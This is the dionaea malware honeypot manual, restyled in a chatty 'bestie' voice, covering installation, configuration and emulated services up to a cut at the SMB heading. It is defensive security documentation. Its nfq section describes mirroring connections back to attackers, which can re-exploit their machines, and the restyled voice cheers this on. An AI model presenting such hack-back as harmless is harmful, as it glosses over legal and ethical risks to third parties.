DIONAEA(1)
okay so bestie, this is DIONAEA(1) โ the dionaea manual page from the dionaea docs, and we are gonna get through it together ๐ grab a snack, it's a long one.
โจ NAME โจ
dionaea โ dionaea Documentation ๐
Dionaea is meant to be a nepenthes successor, embedding python as scripting language, using libemu to detect shellcodes, supporting ipv6 and tls ๐ฆ
โ ๏ธ WARNING: The documentation is work in progress. (yes girl we know, it's giving "living document" energy ๐ญ)
Content: everything below, in order. slay ๐
๐ INTRODUCTION ๐
๐ง How it works
dionaea intention is to trap malware exploiting vulnerabilities exposed by services offered to a network, and the ultimate goal is gaining a copy of the malware ๐ฏ like, that's the whole point. that's the mission. get the malware, keep the malware.
๐ฅ Security
okay so here's the tea โ As Software is likely to have bugs, bugs in software offering network services can be exploitable, and dionaea is software offering network services โ so it is likely dionaea has exploitable bugs. ๐ not me saying it, the docs are saying it.
Of course we try to avoid it, but like โ if nobody would fail when trying hard, we would not need software such as dionaea. periodt ๐ซถ
So, in order to minimize the impact, dionaea can drop privileges, and chroot. ๐
To be able to run certain actions which require privileges, after dionaea dropped them, dionaea creates a child process at startup, and asks the child process to run actions which require elevated privileges. This does not guarantee anything, but it should be harder to get gain root access to the system from an unprivileged user in a chroot environment. ie the vibe is "defense in depth", not "we fixed it" ๐
๐ Network Connectivity
Given the softwares intended use, network io is crucial ๐ All network io is within the main process in a so called non-blocking manner.
To understand nonblocking, imagine you have many pipes infront of you, and these pipes can send you something, and you can put something into the pipe ๐ช If you want to put something into a pipe, while it is crowded, you'd have to wait; if you want to get something from a pipe, and there is nothing, you'd have to wait too.
Doing this pipe game non-blocking means you won't wait for the pipes to be write/readable โ you'll get something off the pipes once data arrives, and write once the pipe is not crowded. If you want to write a large chunk to the pipe, and the pipe is crowded after a small piece, you note the rest of the chunk you wanted to write, and wait for the pipe to get ready. iconique behaviour honestly โจ
DNS resolves are done using libudns, which is a neat non-blocking dns resolving library with support for AAAA records and chained cnames. So much about non-blocking. ๐ธ
dionaea uses libev to get notified once it can act on a socket, read or write.
dionaea can offer services via tcp/udp and tls for IPv4 and IPv6, and can apply rate limiting and accounting limits per connections to tcp and tls connections โ if required. ๐
๐ INSTALLATION ๐
Requirements
For best performance and functionality we have documented some recommendations for running dionaea:
- Platform โ Operating System
- Ubuntu 18.04 LTS (recommended) (used for development)
- Debian 10 (recommended)
- Platform โ Python Runtime
- 3.9 (recommended)
- 3.8 (recommended)
- 3.7
- 3.6
At the moment we do not recommend using Ubtuntu 20.04 or Debian 11 because libemu has been dropped from the package repository ๐ญ Feel free to have a look at Future of shellcode emulation (libemu)? for more information and to help use.
Basic stuff
Download the source code
You can download the source code from the release page or by using the git command. ๐ง
git clone https://github.com/DinoTools/dionaea.git
cd dionaea
Docker
We provide an official docker image ๐ณ For detailed instructions please have a look at the dinotools/dionaea docker hub page.
Ubuntu 18.04
From Source
Before you start download the source code of dionaea. ๐ฅ
Install required build dependencies before configuring and building dionaea. ('ttf-liberation' required to 'util/gnuplotsql.py')
sudo apt-get install \
build-essential \
cmake \
check \
cython3 \
libcurl4-openssl-dev \
libemu-dev \
libev-dev \
libglib2.0-dev \
libloudmouth1-dev \
libnetfilter-queue-dev \
libnl-3-dev \
libpcap-dev \
libssl-dev \
libtool \
libudns-dev \
python3 \
python3-dev \
python3-bson \
python3-yaml \
python3-boto3 \
fonts-liberation
After all dependencies have been installed successfully create a build directory and run cmake to setup the build process. ๐ ๏ธ
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX:PATH=/opt/dionaea ..
Now you should be able to run make to build and run make install to install the honeypot.
make
sudo make install
The new honeypot can be found in the directory /opt/dionaea. ๐
3rd-party packages
The packages below are 3rd party provided, which is appreciated ๐ซถ If you have compiled a package for your own distribution, just send me the link or make a pull request.
๐ NOTE: Before you use 3rd party packages please check if you get the latest version of dionaea.
๐ NOTE: We are not responsible and it is hard to debug if you use 3rd party packages. If you have any issues with the packages please also contact the package maintainer. (like, fr fr, ask them, not us ๐)
๐ฆ MIGRATION ๐ฆ
We try to provide some information on how to upgrade from one version to the next. Please also have a look at the changelog for additional information. ๐
0.10.x -> 0.11.0
pyev
The pyev functions used in the shipped modules have been replaced with new classes. This effects the Timer() class. โฐ If you have custom code and it uses the pyev Timer() class, please upgrade your code before running it in production. no cap, do it before prod ๐
0.7.0 -> 0.8.0
Config
- IPv4 mapped IPv6 is now disabled by default
Path
During the steps from autotools to cmake nearly all log and data directories have been changed. But it should be possible to keep the old config files and also use the old directories. ๐๏ธ
Assuming dionaea 0.7.0 and 0.8.0 have been installed into /opt/dionaea:
/opt/dionaea/var/dionaea/binaries/โ/opt/dionaea/var/lib/dionaea/binaries//opt/dionaea/var/dionaea/bistreams/โ/opt/dionaea/var/lib/dionaea/bistreams//opt/dionaea/var/dionaea/dionaea.dbโ/opt/dionaea/var/lib/dionaea/dionaea.db/opt/dionaea/var/dionaea/dionaea.jsonโ/opt/dionaea/var/lib/dionaea/dionaea.json/opt/dionaea/var/dionaea/dionaea.logโ/opt/dionaea/var/log/dionaea/dionaea.log/opt/dionaea/var/dionaea/dionaea.sqliteโ/opt/dionaea/var/lib/dionaea/dionaea.sqlite/opt/dionaea/var/dionaea/dionaea_incident.jsonโ/opt/dionaea/var/lib/dionaea/dionaea_incident.json/opt/dionaea/var/dionaea/dionaea-errors.logโ/opt/dionaea/var/log/dionaea/dionaea-errors.log/opt/dionaea/var/dionaea/downloads.f2bโ/opt/dionaea/var/lib/dionaea/fail2ban/downloads.f2b/opt/dionaea/var/dionaea/offers.f2bโ/opt/dionaea/var/lib/dionaea/fail2ban/offers.f2b/opt/dionaea/var/dionaea/roots/ftp/โ/opt/dionaea/var/lib/dionaea/ftp/root//opt/dionaea/var/dionaea/roots/tftp/โ/opt/dionaea/var/lib/dionaea/tftp/root//opt/dionaea/var/dionaea/roots/upnp/โ/opt/dionaea/var/lib/dionaea/upnp/root//opt/dionaea/var/dionaea/roots/www/โ/opt/dionaea/var/lib/dionaea/www/root//opt/dionaea/var/dionaea/share/python/http/template/โ/opt/dionaea/var/lib/dionaea/http/template//opt/dionaea/var/dionaea/sipaccounts.sqliteโ/opt/dionaea/var/lib/dionaea/sip/accounts.sqlite/opt/dionaea/var/dionaea/vtcache.sqliteโ/opt/dionaea/var/lib/dionaea/vtcache.sqlite
โ๏ธ CONFIGURATION ๐
okay bestie, if you're gonna change the software, you really need to understand how it works firstโso pls actually take the time to learn it, okay? ๐ซถ dionaea.cfg is the main configuration file. The example below is the default configuration. โจ
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
[dionaea]
download.dir=@DIONAEA_STATEDIR@/binaries/
#modules=curl,python,nfq,emu,pcap
modules=curl,python,emu
processors=filter_streamdumper,filter_emu
listen.mode=getifaddrs
# listen.addresses=127.0.0.1
# listen.interfaces=eth0,tap0
# Use IPv4 mapped IPv6 addresses
# It is not recommended to use this feature, try to use nativ IPv4 and IPv6 adresses
# Valid values: true|false
# listen.use_ipv4_mapped_ipv6=false
# Country
# ssl.default.c=GB
# Common Name/domain name
# ssl.default.cn=
# Organization
# ssl.default.o=
# Organizational Unit
# ssl.default.ou=
# Provide certificate files
# The provided certificate must be in the PEM format.
# The certificates must be sorted starting with the server certificate
# followed by intermediate CA certificates if applicable and ending at
# the highest level CA.
# ssl.default.cert=@DIONAEA_CONFDIR@/ssl/your-certificate-with-chain.crt
# The provided key must be in the PEM format.
# ssl.default.key=@DIONAEA_CONFDIR@/ssl/your-private-key.key
[logging]
default.filename=@DIONAEA_LOGDIR@/dionaea.log
default.levels=all
default.domains=*
errors.filename=@DIONAEA_LOGDIR@/dionaea-errors.log
errors.levels=warning,error
errors.domains=*
[processor.filter_emu]
name=filter
config.allow.0.protocols=smbd,epmapper,nfqmirrord,mssqld
next=emu
[processor.filter_streamdumper]
name=filter
config.allow.0.types=accept
config.allow.1.types=connect
config.allow.1.protocols=ftpctrl
config.deny.0.protocols=ftpdata,ftpdatacon,xmppclient
next=streamdumper
[processor.streamdumper]
name=streamdumper
config.path=@DIONAEA_STATEDIR@/bistreams/%Y-%m-%d/
[processor.emu]
name=emu
config.limits.files=3
#512 * 1024
config.limits.filesize=524288
config.limits.sockets=3
config.limits.sustain=120
config.limits.idle=30
config.limits.listen=30
config.limits.cpu=120
#// 1024 * 1024 * 1024
config.limits.steps=1073741824
[module.nfq]
queue=2
[module.nl]
# set to yes in case you are interested in the mac address of the remote (only works for lan)
lookup_ethernet_addr=no
[module.python]
imports=dionaea.log,dionaea.services,dionaea.ihandlers
sys_paths=default
service_configs=@DIONAEA_CONFDIR@/services-enabled/*.yaml
ihandler_configs=@DIONAEA_CONFDIR@/ihandlers-enabled/*.yaml
[module.pcap]
any.interface=any
๐ dionaea
download.dirโ global download directory used by some ihandlers. ๐ฅlisten.modeโ there are basically three modes for how dionaea can bind the services to IP addresses:getifaddrs- auto โ this gets a list of all IP addresses of all available interfaces and binds the services to each IP. It is also possible to specify a list of interfaces to use by using thelisten.interfacesparameter.manual- your decision โ in this mode you have to specify an additional parameter,listen.addresses. This is a comma separated list of IP addresses dionaea should bind the services to.nl, will require a list of interfaces โ you have to specify a comma separated list of interface names with thelisten.interfacesparameter. If an IP address is added to an interfaces or removed from an interface dionaea will lunch or stop all services for this IP.
modulesโ comma separated list of modules. ๐งฉprocessorsโ comma separated list of processors. ๐ssl.default.cโ two letter id of the Country. ๐ssl.default.cnโ the Common Name/domain name of the generated SSL/TLS certificate. ๐ssl.default.oโ the Organization name.ssl.default.ouโ the name of the Organizational Unit.
๐ Logging
dionaea has a general application log. These logs are meant to be used for debugging and to track errors. It is not recommended to analyse these files to track attacks. ๐ โโ๏ธ
filenameโ the filename of the logfile.levelsโ only log messages that match the specified log level get logged to the logfile.
Available log levels:
debuginfowarningerrorcriticalall= special log level including all log levels
Examples:
Log only messages with level warning and error
errors.levels=warning,error
Log all log messages but exclude messages with log level debug
errors.levels=all,-debug
domainโ only log messages in a specified domain.
๐งฉ Modules
Only modules specified by the modules value in the dionaea section are loaded during start up. โจ
Every module might have its own config section with additional config parameters. The section name consists of the prefix module and the module name separated by a dot (.).
See the module/index documentation to find more information on how to configure the modules.
๐ Processors
The specified processors will be used as an entry point in the processing pipeline. In most cases the initial processor will be a filter processor <processor/filter>. The next processor in the pipeline is specified by the next parameter.
See the processor/index documentation to find more information on how to configure the processors.
๐ RUNNING DIONAEA
Bestie, the software has some flags you can provide at startup. The -h flag shows the help, and the -H flag includes the default values. ๐
$ /bin/dionaea -H
-c, --config=FILE use FILE as configuration file
Default value/behaviour: /etc/dionaea/dionaea.cfg
-D, --daemonize run as daemon
-g, --group=GROUP switch to GROUP after startup (use with -u)
Default value/behaviour: keep current group
-G, --garbage=[collect|debug] garbage collect, usefull to debug memory leaks,
does NOT work with valgrind
-h, --help display help
-H, --large-help display help with default values
-l, --log-levels=WHAT which levels to log, valid values
all, debug, info, message, warning, critical, error
combine using ',', exclude with - prefix
-L, --log-domains=WHAT which domains use * and ? wildcards, combine using ',',
exclude using -
-u, --user=USER switch to USER after startup
Default value/behaviour: keep current user
-p, --pid-file=FILE write pid to file
-r, --chroot=DIR chroot to DIR after startup
Default value/behaviour: don't chroot
-V, --version show version
-w, --workingdir=DIR set the process' working dir to DIR
Default value/behaviour: /
examples:
# dionaea -l all,-debug -L '*'
# dionaea -l all,-debug -L 'con*,py*'
# dionaea -u nobody -g nogroup -w / -p /var/run/dionaea.pid
๐ INTEGRATION
A list of applications and tools to collect information exported by dionaea. ๐
๐ก DTAG Community Honeypot Project
The DTAG Community Honeypot Project has been started in 2010 by a small group of enthusiasts of the Deutsche Telekom. They are maintaining T-Pot, a Multi-Honeypot Platform. It is based on well established honeypots including dionaea.
- Website: DTAG Community Honeypot Project
- Status: active
๐ฆ DionaeaFR
DionaeaFR is a web-frontend to display attack information. It uses the SQLite database provided by the log_sqlite ihandler.
- Website: DionaeaFR
- Status: unmaintained since 2014
๐ DIY with log_json
You can use the log_json incident handler in combination with an ELK stack to collect, aggregate and visualize attack information.
- Website: ELK stack
- Status: active
๐ Modern Honey Network(mhn)
A tool to deploy honeypots, collect attack information and display aggregated statistics.
- Website: Modern Honey Network
- Status: active, but deploys an pre 0.2(2014) version of dionaea by default.
๐ง MODULES
The subsection's name is the name of the module dionaea will try to load. Most modules got rather simplistic names: the pcap module will use libpcap, the curl module libcurl, the emu module libemu โฆ The python module is special, as the python module can load python scripts, which offer services, and each services can have its own options. โจ
List of available modules
๐ curl
The curl module is used to transfer files from and to servers. It is used to download files via http as well as submitting files to 3rd parties.
๐ฅ emu
The emu module is used to detect, profile and - if required - execute shellcode.
๐ pcap
The pcap module uses the libpcap library to detect rejected connection attempts, so even if we do not accept a connection, we can use the information somebody wanted to connect there.
๐ python
The python module allows using the python interpreter in dionaea, and allows controlling some scripts dionaea uses.
SERVICE ๐
okay so bestie, here's the tea on services: every network service speaks a certain language, and that language is called a protocol. ๐ฃ๏ธ Back when we first started deploying honeypots, you could trap worms just by opening a single port and waiting for them to connect and send you a url where you could download a copy of the worm. The service getting attacked was the backdoor of the bagle mailworm, and it did not require any interaction. ๐ Wild, right?
Later on, the exploitations of real services got more complex, and you had to reply something to the worm to fool him. Nowadays worms use API to access services, before sending their payload. ๐ญ
To allow easy adjustments to the protocol, dionaea implements the protocols in python. There's a glue between the network layer โ which is done in the c programming language โ and the embedded python scripting language, which allows using the non-blocking connections in python. This has some benefits: for example we can use non-blocking tls connections in python, and we even get rate limiting on them (if required), where pythons own io does not offer such things. โจ On the other hand, it is much more comfortable to implement protocols in python than doing the same in c. facts.
๐ฆ List of available services
Black hole ๐ณ๏ธ
The black hole module can be used to bind a service to a port. The service does not respond to any submitted data. But the bitstreams can be used to create new modules. lowkey iconic behaviour ngl.
Example config
services/blackhole.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: blackhole
config:
services:
# Telnet
- port: 23
protocol: tcp
# DNS
- port: 53
protocol: udp
- port: 53
protocol: tcp
# NTP
- port: 123
protocol: udp
EPMAP ๐งญ
Example config
services/epmap.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: epmap
FTP ๐
Dionaea provides a basic ftp server on port 21, it can create directories and upload and download files. From my own experience there are very little automated attacks on ftp services and I'm yet to see something interesting happening on port 21. ๐ like... the vibes are quiet over there.
Example config
services/ftp.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: ftp
config:
root: "@DIONAEA_STATEDIR@/ftp/root"
response_messages:
welcome_msg: 220 DiskStation FTP server ready.
HTTP ๐
Dionaea supports http on port 80 as well as https, but there is no code making use of the data gathered on these ports. For https, the self-signed ssl certificate is created at startup. ๐
Configure
Example configuration:
- name: http
config:
root = "var/dionaea/wwwroot"
default_headers โ default header fields are send if none of the other header patterns match.
global_headers โ global header fields are added to all response headers.
headers โ list of header fields to be used in the response header. Only applied if filename_pattern, status_code and methods match. The first match in the list is used.
max_request_size โ maximum size in kbytes of the request. 32768 = 32MB
root โ the root directory so serve files from.
Example config
services/http.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: http
config:
# Root directory to look for files
root: "@DIONAEA_STATEDIR@/http/root"
ports:
- 80
ssl_ports:
- 443
max_request_size: 32768 # maximum size in kbytes of the request (32MB)
# Set default Content-Type if unable to detect
# default_content_type: text/html; charset=utf-8
# Max number of fields to extract from GET request (Python >= 3.8)
# get_max_num_fields: 100
# List of default headers
# default_headers:
# - ["Content-Type", "{content_type}"]
# - ["Content-Length", "{content_length}""]
# - ["Connection", "{connection}"]
# Try to detect the Content-Type by using the filename
# detect_content_type: true
global_headers:
- ["Server", "nginx"]
# Add additional headers to the response. First match wins.
# filename_pattern - is a regex if matched the headers are set
# headers - a list of HTTP headers to set
# the order matters, use to simulate your webserver as good as possible
headers:
- filename_pattern: ".*\\.php"
headers:
- ["Content-Type", "text/html; charset=utf-8"]
- ["Content-Length", "{content_length}"]
- ["Connection", "{connection}"]
- ["X-Powered-By", "PHP/5.5.9-1ubuntu4.5"]
# If enabled, try to handle some SOAP requests
# soap_enabled: false
template:
# set to true to enable template processing
# this feature requires jinja2 template engine http://jinja.pocoo.org/
enabled: false
file_extension: .j2
path: "@DIONAEA_STATEDIR@/http/template/nginx"
templates:
autoindex:
filename: autoindex.html.j2
error_pages:
- filename: error.html.j2
# - filename: error/{code}.html.j2
# used to specify additional template values
values:
# full_name: nginx/1.1
Additional examples
Set the Server response field. ๐
- name: http
config:
global_headers:
- ["Server", "nginx"]
Define headers to use if the filename matches a pattern. โจ
- name: http
config:
headers:
- filename_pattern: ".*\\.php"
headers:
- ["Content-Type", "text/html; charset=utf-8"]
- ["Content-Length", "{content_length}"]
- ["Connection", "{connection}"]
- ["X-Powered-By", "PHP/5.5.9-1ubuntu4.5"]
Templates ๐ง
It is possible to use Jinja templates to customise the content returned by dionaea.
Requirements:
- Jinja
Before any template is used the template processing has to be enabled in the config file. Some global templates (e.g. for error pages) are specified in the config file. To use the template function in a static file just place it under the content root directory and add the template file extension as specified with the file_extension.
Example:
- you have a file called
my-app.html - to enabled template processing rename the file to
my-app.html.j2 - now you can use template strings
Template values:
connectionis an instance ofHTTPconnection classvaluesis a Dictionary of additional template values specified in the config
Demo: ๐ฌ
Have a look at our demo template and play with it in your test lab before releasing it into the wild.
http/root/form.html.j2
<html>
<head>
<title>Demo</title>
</head>
<body>
<h1>Form GET</h1>
<form action="{{ connection.header.path }}" method="get">
<label for="text1">Text</label>
<input type="text" name="text" id="text1"/>
<label for="password1">Password</label>
<input type="password" name="password" id="password1"/>
<button type="submit">Send</button>
</form>
<h1>Form POST</h1>
<form action="{{ connection.header.path }}" method="post">
<label for="text2">Text</label>
<input type="text" name="text" id="text2"/>
<label for="password2">Password</label>
<input type="password" name="password" id="password2"/>
<button type="submit">Send</button>
</form>
<h1>Form POST - multipart/form-data</h1>
<form action="{{ connection.header.path }}" enctype="multipart/form-data" method="post">
<label for="text3">Text</label>
<input type="text" name="text" id="text3"/>
<label for="password3">Password</label>
<input type="password" name="password" id="password3"/>
<label for="file3">File</label>
<input type="file" name="file" id="file3"/>
<button type="submit">Send</button>
</form>
<h1>Results</h1>
<pre>
Get Values
{% for name, value in connection.request_fields|dictsort %}
{{ name }} = {{ value[0] }}
{% endfor %}
Form values
{% if connection.request_form %}
{% for name in connection.request_form.keys() %}
{% if connection.request_form[name].filename %}
{{ name }} = file with name '{{ connection.request_form[name].filename }}'
{% else %}
{{ name }} = {{ connection.request_form[name].value }}
{% endif %}
{% endfor %}
{% endif %}
</pre>
</body>
</html>
Memache ๐
Dionaea can emulate a very basic memcached server.
Configure
Example config
services/memcache.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: memcache
Mirror ๐ช
Example config
services/mirror.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: mirror
MongoDB ๐
This module add initial support to emulates a MongoDB server with the dionaea honeypot. At the moment it is very limited and the functionality might be improved in one of the next releases. baby steps bestie, baby steps. ๐ซถ
Requirements
bsonmodule for Python 3
Example config
services/mongo.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: mongo
MQTT ๐ก
Example config
services/mqtt.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: mqtt
MSSQL ๐๏ธ
This module implements the Tabular Data Stream protocol which is used by Microsoft SQL Server. It listens to tcp/1433 and allows clients to login. It can decode queries run on the database, but as there is no database, dionaea can't reply, and there is no further action. Typically we always get the same query:
exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1 where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.syscharsets c,master.dbo.syscharsets c1,master.dbo.sysconfigures f where f.config=123 and f.value=c1.id and c1.csid=c.id set textsize 2147483647 set arithabort on
like they literally rehearse the same line every time ๐ญ not a single original thought in that worm's body.
Refer to the blog http://carnivore.it/2010/09/11/mssql_attacks_examined for more info, bestie โ and like, patches would be so appreciated ๐ฅบ (no cap, they literally say that).
Example config
services/mssql.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: mssql
๐ธ MySQL
Okay so this module implements the MySQL wire stream protocol โ backed up by sqlite as the database ๐๏ธโจ. If you wanna go deeper, go read 2011-05-15 Extending Dionaea at http://carnivore.it/2011/05/15/extending_dionaea, iykyk.
Example config
services/mysql.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: mysql
config:
databases:
information_schema:
path: ":memory:"
# example how to extend this
# just provide a databasename and path to the database
# the database can be altered by attackers, so ... better use a copy
# psn:
# path: "/path/to/cc_info.sqlite"
real talk: the database can be altered by attackers, so ... better use a copy. That comment is doing the Lord's work, bestie, don't ignore it ๐
๐ฆ nfq
So the python nfq script is the counterpart to the nfq module โ they're a duo, main character energy โจ. While the nfq module interacts with the kernel, the nfq python script handles all the required steps to start a new service on the ports. nfq can intercept incoming tcp connections during the tcp handshake, which gives your honeypot the possibility to provide service on ports which are not served by default. Obsessed ๐ซถ
Since dionaea can't predict which protocol will be spoken on unknown ports โ and doesn't implement the protocol itself either โ it will connect to the attacking host on the same port, and use the attacker's own server-side protocol implementation to reply to the client requests of the attacker. Which means dionaea can end up re-exploiting the attacker's machine, just by sending them back the exploit they sent us ๐ญ iconic behaviour honestly.
This technique is a brainchild of Tillmann Werner, who used it within his honeytrap http://honeytrap.carnivore.it honeypot ๐. Legal boundaries to such behaviour may be different in each country, as well as ethical boundaries for each individual. From a technical point of view it works, and gives good results. Learning from the best, "I" decided to adopt this technique for dionaea. Besides the legal and ethical issues with this approach, there are some technical things which have to be mentioned:
port scanning
If your honeypot gets port scanned, it would open a service for each port scanned โ in the worst case you'd end up offering 64k services per ip scanned ๐. By default you'd run out of fds at about 870 services offered, and experience weird behaviour ๐ตโ๐ซ. Therefore the impact of port scanning has to be limited. The kiss approach taken here is a sliding window of throttle.window seconds size. Each slot in this sliding window represents a second, and we increment this slot for each connection we accept. Before we accept a connection, we check if the sum of all slots is below throttle.limits.total โ else we do not create a new service. If the sum is below the limit, we check if the current slot is below the slot limit too; if both are given, we create a new service. If one of the conditions fails, we do not spawn a new service, and let nfqueue process the packet. There are two ways to process packets which got throttled:
NF_ACCEPT(=1), which will let the packet pass the kernel, and since there is no service listening, the packet gets rejected.NF_DROP(=0), which will drop the packet in the kernel โ the remote does not get any answer to their SYN.
I prefer NF_DROP, as port scanners such as nmap tend to limit their scanning speed once they notice packets get lost ๐ (they hate to see us winning).
recursive-self-connecting
Assume some shellcode or download instructions makes dionaea:
- connect itself on a unbound port
- nfq intercepts the attempt
- spawns a service
- accepts the connection #1
- creates mirror connection for connection #1 by connecting the remotehost (itself) on the same port #2
- accepts connection #2 as connection #3
- creates mirror connection for connection #3 by connecting the remotehost (itself) on the same port #4
- โฆ
Such a recursive loop has to be avoided for obvious reasons ๐. Therefore dionaea checks if the remote host connecting a nfq mirror is a local address using getifaddrs and drops local connections. slay.
So much about the known problems and workarounds โฆ
If you read that far, you want to use it despite the technical/legal/ethical problems. So โฆ you'll need iptables, and you'll have to tell iptables to enqueue packets which would establish a new connection. I recommend something like this:
iptables -t mangle -A PREROUTING -i eth0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i eth0 -p tcp --syn -m state --state NEW -j NFQUEUE --queue-num 5
Explanation, bestie:
ACCEPTall connections to existing services- enqueue all other packets to the
NFQUEUE
If you have dionaea running on your NAT router, I recommend something like:
iptables -t mangle -A PREROUTING -i ppp0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i ppp0 -p tcp --syn -m state --state NEW -j MARK --set-mark 0x1
iptables -A INPUT -i ppp0 -m mark --mark 0x1 -j NFQUEUE
Explanation:
ACCEPTall connections to existing services inmangle::PREROUTINGMARKall other packets- if we see these marked packets on
INPUT, queue them
Using something like:
iptables -A INPUT -p tcp --tcp-flags SYN,RST,ACK,FIN SYN -j NFQUEUE --queue-num 5
will enqueue /all/ SYN packets to the NFQUEUE โ and once you stop dionaea you will not even be able to connect to your ssh daemon ๐๐๐ literally locked out of your own house.
Even if you add an exemption for ssh like:
iptables -A INPUT -i eth0 -p tcp --syn -m state --state NEW --destination-port ! 22 -j NFQUEUE
dionaea will try to create a new service for /every/ incoming connection, even if there is a service running already ๐. As it is easy to avoid this, I recommend sticking with the recommendation. Besides the already mentioned throttle settings, there are various timeouts for the nfq mirror service in the config. You can control how long the service will wait for new connections (timeouts.server.listen), and how long the mirror connection will be idle (timeouts.client.idle) and sustain (timeouts.client.sustain) โฑ๏ธโจ
๐ PPTP
Example config
services/pptp.yaml
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: pptp
config:
# Cisco PIX
# firmware_revision: 4608
# hostname:
# vendor_name: Cisco Systems
# DrayTek
# firmware_revision: 1
# hostname: Vigor
# vendor_name: DrayTek
# Linux
# firmware_revision: 1
# hostname: local
# vendor_name: linux
# Windows
# firmware_revision: 0
# hostname:
# vendor_name: Microsoft
# MikroTik router
# firmware_revision: 1
# hostname: MikroTik
# vendor_name: MikroTik
๐จ๏ธ Printer
Dionaea provides a basic PJL/PCL printer server on port 9100 ๐ฅ. It can receive prints and PRET works with it. Most messages can be overridden using the configuration file โ please refer to the pjl_default_responses dictionary for all available messages ๐
Example config
- name: printer
config:
root: "var/lib/printer/root"
pjl_msgs:
info_id: "HP LASERJET 5ML"
Volumes
When connecting to a printer using PRET, one may inspect the filesystem ๐. By creating folders in the configured printer root (var/lib/printer/root above), they'll be usable from the PRET shell. So cute, so functional ๐
PRET by default checks the info_filesys command, which needs to be adjusted to match your setup. The default configuration assumes there's a volume called 0.
โ๏ธ SIP (VoIP)
This is a VoIP module for the honeypot dionaea ๐. The VoIP protocol used is SIP, since it is the de facto standard for VoIP today. In contrast to some other VoIP honeypots, this module doesn't connect to an external VoIP registrar/server. It simply waits for incoming SIP messages (e.g. OPTIONS or even INVITE), logs all data as honeypot incidents and/or binary data dumps (RTP traffic), and reacts accordingly โ for instance by creating a SIP session including an RTP audio channel ๐งโจ. As sophisticated exploits within the SIP payload are not very common yet, the honeypot module doesn't pass any code to dionaea's code emulation engine. This will be implemented if we spot such malicious messages ๐. The main features of the VoIP module are:
- Support for most SIP requests (
OPTIONS,INVITE,ACK,CANCEL,BYE) - Support for multiple SIP sessions and RTP audio streams
- Record all RTP data (optional)
- Set custom SIP username and secret (password)
- Set custom useragent to mimic different phone models
- Uses dionaea's incident system to log to SQL database
Personalities
A personality defines how to handle a request ๐ซถ. At least the 'default' personality MUST exist (all caps, bestie, it's not a suggestion). The following options are available per personality:
serveโ a list of IP addresses to use this personality for.handleโ list of SIP methods to handle.
SIP Users
You can easily add, change or remove users by editing the SQLite file specified by the users = "" parameter in the config file โจ. All users are specified in the users table.
usernameโ specifies the name of the user. This value is treated as regular expression. See Python: Regular Expressions athttp://docs.python.org/py3k/library/re.htmlfor more information.passwordโ the password.personalityโ the user is only available in the personality specified by this value. You can define a personality in the config file.pickup_delay_minโ this is an integer value. Let the phone ring for at least this number of seconds.pickup_delay_maxโ this is an integer value. Maximum number of seconds to wait before dionaea picks up the phone.actionโ this value isn't in use, yet ๐ (it's giving placeholder).sdpโ the name of the SDP to use. See table'sdp'.
SDP
All SDPs can be defined in the sdp table in the users database ๐
nameโ name of the SDPsdpโ the value to use as SDP
The following values are available in the SDP definition:
{addrtype}โ address type. (IP4orIP6){unicast_address}โ RTP address{audio_port}โ Dionaea audio port.{video_port}โ Dionaea video port.
The following control parameters are available in the SDP definition:
[audio_port]โฆcontentโฆ[/audio_port]โ the content is only available in the output if theaudio_portvalue is set.[video_port]โฆcontentโฆ[/video_port]โ same energy, bestie: whatever you stuff in here only shows up in the output if thevideo_portvalue is actually set. no value, no content, that's the rule ๐
And here's the whole template living its best life, [audio_port] and [video_port] and all:
v=0
o=- 1304279835 1 IN {addrtype} {unicast_address}
s=SIP Session
c=IN {addrtype} {unicast_address}
t=0 0
[audio_port]
m=audio {audio_port} RTP/AVP 111 0 8 9 101 120
a=sendrecv
a=rtpmap:111 Speex/16000/1
a=fmtp:111 sr=16000,mode=any
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:9 G722/8000/1
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16,32,36
a=rtpmap:120 NSE/8000
a=fmtp:120 192-193
[/audio_port]
[video_port]
m=video {video_port} RTP/AVP 34 96 97
c=IN {addrtype} {unicast_address}
a=rtpmap:34 H263/90000
a=fmtp:34 QCIF=2
a=rtpmap:96 H263-1998/90000
a=fmtp:96 QCIF=2
a=rtpmap:97 H263-N800/90000
[/video_port]
Example config
This is the one that lives in services/sip.yaml โ look at her go ๐
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
- name: sip
config:
udp_ports:
- 5060
tcp_ports:
- 5060
tls_ports:
- 5061
users: "@DIONAEA_STATEDIR@/sip/accounts.sqlite"
rtp:
enable: true
# how to dump the rtp stream
# bistream = dump as bistream
modes:
- bistream
- pcap
pcap:
path: "@DIONAEA_STATEDIR@/sip/rtp/{personality}/%Y-%m-%d/"
filename: "%H:%M:%S_{remote_host}_{remote_port}_in.pcap"
personalities:
default:
domain: "localhost"
name: "softphone"
personality: "generic"
# next-server:
# domain: "my-domain"
# name: "my server"
# personality: "generic"
# serve: ["10.0.0.1"]
# default_sdp: "default"
# handle: ["REGISTER", "INVITE", "BYE", "CANCEL", "ACK"]
actions:
bank-redirect:
do: "redirect"
params:
play-hello:
do: "play"
params:
file: "var/dionaea/.../file.ext"
SMB ๐
